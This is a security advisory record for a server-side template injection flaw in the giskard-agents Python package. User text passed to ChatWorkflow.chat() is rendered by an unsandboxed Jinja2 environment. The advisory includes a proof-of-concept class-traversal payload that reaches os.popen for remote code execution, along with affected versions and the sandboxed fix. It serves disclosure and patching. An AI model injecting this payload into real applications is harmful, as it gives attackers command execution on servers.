{"id":"PYSEC-2026-2487","summary":"Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment","details":"## Summary\n\n`ChatWorkflow.chat(message)` passes its string argument directly as a Jinja2 template source to a non-sandboxed `Environment`. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.\n\nThe method name `chat` and parameter name `message` naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.\n\n## Root Cause\n\n`libs/giskard-agents/src/giskard/agents/workflow.py` line ~261:\n```python\ndef chat(self, message: str | Message | MessageTemplate, role: Role = \"user\") -\u003e Self:\n    if isinstance(message, str):\n        message = MessageTemplate(role=role, content_template=message)\n```\n\nThe string becomes `content_template`, which is parsed by `from_string()`:\n\n`libs/giskard-agents/src/giskard/agents/templates/message.py` lines 14-15:\n```python\ndef render(self, **kwargs: Any) -\u003e Message:\n    template = _inline_env.from_string(self.content_template)\n    rendered_content = template.render(**kwargs)\n```\n\nThe Jinja2 Environment is not sandboxed:\n\n`libs/giskard-agents/src/giskard/agents/templates/environment.py` line 37:\n```python\n_inline_env = Environment(\n    autoescape=False,\n    # Not SandboxedEnvironment\n)\n```\n\n## Proof of Concept\n\n```python\nfrom jinja2 import Environment\nenv = Environment()  # Same as giskard's _inline_env\n\n# Class traversal reaches os.popen\nt = env.from_string(\"{{ ''.__class__.__mro__[1].__subclasses__() | length }}\")\nprint(t.render())  # 342 accessible subclasses\n\n# Full RCE payload (subclass index varies by Python version)\n# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}\n```\n\nA developer building a chatbot:\n```python\nworkflow = ChatWorkflow(generator=my_llm)\nworkflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template\nresult = await workflow.run()          # RCE if user_input contains {{ payload }}\n```\n\nNote: using `.with_inputs(var=user_data)` is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to `chat()`.\n\n## Impact\n\nRemote code execution on the server hosting any application built with giskard-agents that passes user input to `ChatWorkflow.chat()`. Attacker can execute system commands, read files, access environment variables.\n\nAffects giskard-agents \u003c=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).\n\n# Mitigation\n\nUpdate to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.\n\nThe fix replaces the unsandboxed Jinja2 Environment with `SandboxedEnvironment`, which blocks attribute access to dunder methods and prevents class traversal chains. `SandboxedEnvironment` blocks access to attributes starting with `_`, preventing the `__class__.__mro__` traversal chain.","aliases":["CVE-2026-34172","GHSA-frv4-x25r-588m"],"modified":"2026-07-13T16:32:37.414509565Z","published":"2026-07-13T14:36:45.866103Z","references":[{"type":"WEB","url":"https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-frv4-x25r-588m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34172"},{"type":"PACKAGE","url":"https://github.com/Giskard-AI/giskard-oss"},{"type":"PACKAGE","url":"https://pypi.org/project/giskard-agents"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-frv4-x25r-588m"}],"affected":[{"package":{"name":"giskard-agents","ecosystem":"PyPI","purl":"pkg:pypi/giskard-agents"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.4"},{"introduced":"1.0.1a1"},{"fixed":"1.0.2b1"}]}],"versions":["0.3.0","0.3.1","0.3.2","0.3.3","1.0.1a1","1.0.2a1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/giskard-agents/PYSEC-2026-2487.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}